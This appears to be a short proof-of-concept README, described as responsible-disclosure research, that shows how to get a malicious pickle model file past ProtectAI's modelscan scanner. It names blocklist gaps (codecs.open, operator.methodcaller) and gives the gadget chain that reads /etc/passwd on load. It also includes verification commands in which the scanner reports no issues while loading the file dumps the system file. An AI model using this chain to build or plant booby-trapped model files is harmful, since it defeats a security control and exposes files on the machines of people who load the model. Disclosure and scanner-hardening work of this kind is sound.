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Modelscan Bypass PoC: codecs.open + operator.methodcaller

Purpose: Security research demonstrating a scanner bypass in ProtectAI modelscan.

Technique

codecs.open is not in modelscan's unsafe_globals blocklist (only builtins.open is blocked)
operator.methodcaller is not blocked (only operator.attrgetter is)
Chain: methodcaller('read')(codecs.open('/etc/passwd')) → reads any file

Verification

pip install modelscan
modelscan scan -p model.pkl
# Output: "No issues found!"

python3 -c "import pickle; print(pickle.load(open('model.pkl','rb'))[:100])"
# Output: contents of /etc/passwd

Responsible Disclosure

Submitted to ProtectAI via Huntr MFV program.

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